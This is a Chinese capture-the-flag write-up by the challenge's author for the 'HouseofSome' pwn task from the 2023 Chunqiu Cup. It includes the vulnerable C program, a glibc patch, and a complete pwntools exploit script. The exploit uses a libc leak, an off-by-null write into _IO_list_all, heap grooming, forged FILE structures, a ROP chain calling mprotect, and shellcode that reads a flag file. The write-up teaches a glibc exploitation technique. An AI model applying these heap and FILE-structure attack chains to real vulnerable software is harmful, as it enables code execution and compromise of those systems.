1730 字
9 分钟
阅读量 --
Hits
[2023春秋杯冬季赛]Pwn HouseofSome wp

题目#

题目源码如下

// gcc houseofsome.c -o houseofsome -Wl,--dynamic-linker=./ld-linux-x86-64.so.2 -Wl,--rpath=./
#include<stdio.h>
#include <stdlib.h>
#include<sys/mman.h>
#include <linux/seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/prctl.h>
static void install_seccomp() {
static unsigned char filter[] = {32,0,0,0,4,0,0,0,21,0,0,5,62,0,0,192,32,0,0,0,0,0,0,0,53,0,3,0,0,0,0,64,21,0,2,0,59,0,0,0,21,0,1,0,66,1,0,0,6,0,0,0,0,0,255,127,6,0,0,0,0,0,0,0};
struct prog {
unsigned short len;
unsigned char *filter;
} rule = {
.len = sizeof(filter) >> 3,
.filter = filter
};
if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) { perror("prctl(PR_SET_NO_NEW_PRIVS)"); exit(2); }
if(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &rule) < 0) { perror("prctl(PR_SET_SECCOMP)"); exit(2); }
}
int init() {
size_t tmp1 = stdin;
setbuf(tmp1, 0);
size_t tmp2 = stdout;
setbuf(tmp2, 0);
size_t tmp3 = stderr;
setbuf(tmp3, 0);
install_seccomp();
}
size_t getint(){
size_t tmp;
scanf("%lld", &tmp);
return tmp;
}
void readline(char *buf, size_t n) {
char tmp;
size_t i = 0;
for(; i < n && read(0, &tmp, 1) > 0; ++i) {
if(tmp == '\n') {
buf[i] = 0;
return;
}
buf[i] = tmp;
}
buf[i] = 0;
}
char *name = 0;
FILE* dev = 0;
int magic = 0;
char *pool[2] = {0};
int idx = 1;
void change_name(){
char buf[0x100];
size_t size;
printf("size> ");
size = getint();
if(size <= 0 || size > 0x2000) {
puts("wrong.");
return;
}
idx = 1 - idx;
name = pool[idx];
if(name) free(name);
printf("name> ");
name = malloc(size + 1);
pool[idx] = name;
readline(name, size);
}
void change_dev() {
char buf[0x100];
if(dev) fclose(dev);
size_t op;
printf("1. /dev/urandom\n2. /dev/zero\n3. /dev/null\ndev> ");
op = getint();
if(op == 1) dev = fopen("/dev/urandom", "rb");
else if(op == 2) dev = fopen("/dev/zero", "rb");
else dev = fopen("/dev/null", "rb");
if(dev == NULL){
puts("open dev error.");
return;
}
setbuf(dev, 0);
}
void draw() {
char buf[0x100];
if(magic || !dev || !name) {
puts("wrong.");
return;
}
size_t addr, length;
printf("offset> ");
addr = getint();
printf("length> ");
length = getint();
if(length < 0 || length > 8) {
puts("wrong.");
return;
}
fread(0x114514000+addr, 1, 1, dev);
magic = 1;
}
void show() {
char buf[0x100];
printf("name: %s\n", name);
printf("picture: ");
write(1, 0x114514000, 0x1000);
printf("\n");
}
int main(){
init();
size_t choice;
if(mmap(0x114514000, 0x1000, PROT_READ | PROT_WRITE, 0x22, -1, 0) == -1){
printf("mmap error.\n");
exit(0);
}
printf("gift: %p\n", 0x114514000);
while (1) {
printf("1. name\n2. dev\n3. draw\n4 .show\n5. exit\n> ");
choice = getint();
switch (choice){
case 1:
change_name();
break;
case 2:
change_dev();
break;
case 3:
draw();
break;
case 4:
show();
break;
case 5:
exit(0);
break;
default:
printf("invalid option %ld.\n", choice);
break;
}
}
}

除了题目代码之外,还自己编译了一个 libc,加上 patch,patch 如下

diff --git a/libio/libioP.h b/libio/libioP.h
index 745278e..b3858d1 100644
--- a/libio/libioP.h
+++ b/libio/libioP.h
@@ -100,7 +100,7 @@
#define _IO_JUMPS_FILE_plus(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
#define _IO_WIDE_JUMPS(THIS) \
- _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
+ (IO_validate_vtable(_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable))
#define _IO_CHECK_WIDE(THIS) \
(_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data) != NULL)

可以看到,这里对 wide_data 加上了 patch

编译时的命令如下

Terminal window
CC="gcc" CXX="g++" CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" ../configure --prefix=/home/csome/houseofsome/glibc-2.38/build/x64 --disable-werror --enable-bind-now
make
make install

详细编译流程见 Tover 师兄写的https://0xffff.one/d/337

简单的分析#

通过逆向可以知道,这里泄露 libc 是通过 scanf 的未写入 trick 实现的,但是 ida 观察 init 函数的时候,并不能发现 stdin 等数据放到了栈上,需要 gdb 观察或者阅读汇编才知道。

int init() {
size_t tmp1 = stdin;
setbuf(tmp1, 0);
size_t tmp2 = stdout;
setbuf(tmp2, 0);
size_t tmp3 = stderr;
setbuf(tmp3, 0);
install_seccomp();
}

其次,这里有一次 libc 内任意地址写 \x00 的机会在 draw 功能

void draw() {
char buf[0x100];
if(magic || !dev || !name) {
puts("wrong.");
return;
}
size_t addr, length;
printf("offset> ");
addr = getint();
printf("length> ");
length = getint();
if(length < 0 || length > 8) {
puts("wrong.");
return;
}
fread(0x114514000+addr, 1, 1, dev);
magic = 1;
}

还有一个小 trick——fopen,这个函数会使用 malloc 分配一个 IO_FILE_plus 结构,作为打开文件的管理块,并通过头插法进入 IO_list_all

void change_dev() {
char buf[0x100];
if(dev) fclose(dev);
size_t op;
printf("1. /dev/urandom\n2. /dev/zero\n3. /dev/null\ndev> ");
op = getint();
if(op == 1) dev = fopen("/dev/urandom", "rb");
else if(op == 2) dev = fopen("/dev/zero", "rb");
else dev = fopen("/dev/null", "rb");
if(dev == NULL){
puts("open dev error.");
return;
}
setbuf(dev, 0);
}

总结一下

  1. 已知 Libc 地址
  2. 一次 libc 内任意地址写 1 字节 \x00,off by null
  3. fopen 能使得 IO_list_all 内写入 heap 地址
  4. 由于 wide_data 的 vtable 加入了 check,故不能使用 apple2 的链条

House of Some#

详细的原理见https://blog.csome.cc/p/house-of-some/

其使用的方法是

  1. 已知 glibc 基地址
  2. 可控的已知地址(可写入内容构造 fake file)
  3. 需要一次 libc 内任意地址写可控地址
  4. 程序能正常退出或者通过 exit () 退出

其中,条件 1 和 4 程序中可以直接满足,条件 3 可以通过 fopen 和一次 off by null 完成,条件 2 可以被弱化,并不需要已知,只需要可控即可

那么在构造任意地址写的 fake_file 的过程中,需要 wide_data 指针,这个指针需要在可控地址位置 —— 堆内,但是我们并不能泄露堆地址

fake_file_read = flat({
0x00: 0, # _flags
0x20: 0, # _IO_write_base
0x28: 0, # _IO_write_ptr
0x38: 任意地址写的起始地址, # _IO_buf_base
0x40: 任意地址写的终止地址, # _IO_buf_end
0x70: 0, # _fileno
0x82: b"\x00", # _vtable_offset
0xc0: 2, # _mode
0xa0: wide_data的地址, # _wide_data
0x68: 下一个调用的fake file地址, # _chain
0xd8: _IO_wfile_jumps, # vtable
}, filler=b"\x00")
fake_wide_data = flat({
0xe0: _IO_file_jumps - 0x48,
0x18: 0,
0x20: 1,
0x30: 0,
}, filler=b"\x00")

这里需要使用 largebin 的 next size 指针残留,构造出一个合法的 wide_data 地址

PS:这里可以运用https://enllus1on.github.io/2024/01/22/new-read-write-primitive-in-glibc-2-38/#more,改进后就不需要 wide_data 了

风水脚本如下

name(0x2b0-1, flat({
0x260: {
0x18: 0,
0x20: 1,
0x30: 0,
}
}, filler=b"\x00") + b"\n")
name(0x1f00-0x730-1, b"aa" + b"\n")
name(0x400-1, b"aa" + b"\n")
name(0x590-1, flat({
0xe0-0x60: libc.symbols['_IO_file_jumps'] - 0x48
}, filler=b"\x00") + b"\n")
name(0x50-1, b"aa" + b"\n")
name(0x600-1, b"aa" + b"\n")
name(0x610-1, b"aa" + b"\n")
name(0x300-1, b"aa" + b"\n")
name(0x2f0-1, b"aa" + b"\n")
name(0x360-1, b"aa" + b"\n")
name(0x210-1, b"aa" + b"\n")

最后伪造,这里中间需要使用指针残留,所以伪造 fake_file 的时候,需要分开

environ = libc.symbols['__environ']
name(0xb0-1, flat({
0x00: 0, # _flags
0x20: 0, # _IO_write_base
0x28: 0, # _IO_write_ptr
0x38: environ+8, # _IO_buf_base
0x40: environ+8+0x400, # _IO_buf_end
0x70: 0, # _fileno
0x68: environ+8, # _chain
0x82: b"\x00", # _vtable_offset
0x88: environ-0x10,
0xa0: b"\n"
}, filler=b"\x00"))
name(0x20-1, flat({
0xc0-0x20-0xa0: 2, # _mode
0xd8-0x20-0xa0: libc.symbols['_IO_wfile_jumps'], # vtable
}, filler=b"\x00")[:-1] + b"\n")

最后 houseofsome 一把梭

完整 exp#

House_of_some 工具见https://github.com/CsomePro/House-of-Some

from pwn import *
from House_of_some import HouseOfSome
context.log_level = 'debug'
context.arch = 'amd64'
shellcode = asm(
f"""
mov rax, {u64(b"./flag" + bytearray([0,0]))}
push rax
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x40
mov rax, 0
syscall
mov rdi, 1
mov rsi, rsp
mov rdx, 0x40
mov rax, 1
syscall
""")
io = process("./houseofsome")
# io = remote("127.0.0.1", 12000)
tob = lambda x: str(x).encode()
def name(size, content):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"size> ", tob(size))
io.sendafter(b"name> ", content)
def dev(idx):
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"dev> ", tob(idx))
def draw(offset, length):
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"offset> ", tob(offset))
io.sendlineafter(b"length> ", tob(length))
def leave():
io.sendlineafter(b"> ", b"5")
io.sendlineafter(b"> ", b"-")
io.recvuntil(b"invalid option ")
leak = int(io.recvuntil(b".", drop=True))
log.success(f"leak : {leak:#x}")
libc_base = leak - 0x2205c0
log.success(f"libc_base : {libc_base:#x}")
libc = ELF("./libc.so.6", checksec=None)
libc.address = libc_base
name(0x2b0-1, flat({
0x260: {
0x18: 0,
0x20: 1,
0x30: 0,
}
}, filler=b"\x00") + b"\n")
name(0x1f00-0x730-1, b"aa" + b"\n")
name(0x400-1, b"aa" + b"\n")
name(0x590-1, flat({
0xe0-0x60: libc.symbols['_IO_file_jumps'] - 0x48
}, filler=b"\x00") + b"\n")
name(0x50-1, b"aa" + b"\n")
name(0x600-1, b"aa" + b"\n")
name(0x610-1, b"aa" + b"\n")
name(0x300-1, b"aa" + b"\n")
name(0x2f0-1, b"aa" + b"\n")
name(0x360-1, b"aa" + b"\n")
name(0x210-1, b"aa" + b"\n")
environ = libc.symbols['__environ']
name(0xb0-1, flat({
0x00: 0, # _flags
0x20: 0, # _IO_write_base
0x28: 0, # _IO_write_ptr
0x38: environ+8, # _IO_buf_base
0x40: environ+8+0x400, # _IO_buf_end
0x70: 0, # _fileno
0x68: environ+8, # _chain
0x82: b"\x00", # _vtable_offset
0x88: environ-0x10,
0xa0: b"\n"
}, filler=b"\x00"))
name(0x20-1, flat({
0xc0-0x20-0xa0: 2, # _mode
0xd8-0x20-0xa0: libc.symbols['_IO_wfile_jumps'], # vtable
}, filler=b"\x00")[:-1] + b"\n")
dev(2)
draw(libc.symbols["_IO_list_all"] - 0x114514000, 1)
leave()
hos = HouseOfSome(libc, environ+8, environ-0x10)
stack = hos.bomb_raw(io, libc.symbols["_IO_flush_all"] + 481)
log.success(f"stack : {stack:#x}")
pop_rdx = 0x0000000000096272 + libc_base
rop = ROP(libc)
rop.base = stack
rop.raw(pop_rdx)
rop.raw(7)
rop.call('mprotect', [stack & (~0xfff), 0x1000])
rop.raw(stack + 0x40)
log.info(rop.dump())
rop_chain = rop.chain()
assert b"\n" not in rop_chain, "\\n in rop_chain"
io.sendline(rop_chain + shellcode)
context.log_level = 'info'
io.interactive()

碎碎念#

出题的时候有些疏忽,忘记了 main_arena 也在 libc 内,导致可以 off by null 修改 TopChunk,使得最后能够控制堆结构

但是这个方法较为复杂,是一个小小的非预期,在比赛还有 30 个小时多的时候放出,在 14 小时之后出现第一血,最后只有 5 解出,算是预期之内吧

接下来如果还有机会,我还会带来更加有趣的利用手法的题目,敬请期待吧

[2023春秋杯冬季赛]Pwn HouseofSome wp
https://blog.csome.cc/p/houseofsome-ichunqiu/
作者
Csome
发布于
2024-01-23
许可协议
CC BY-SA 3.0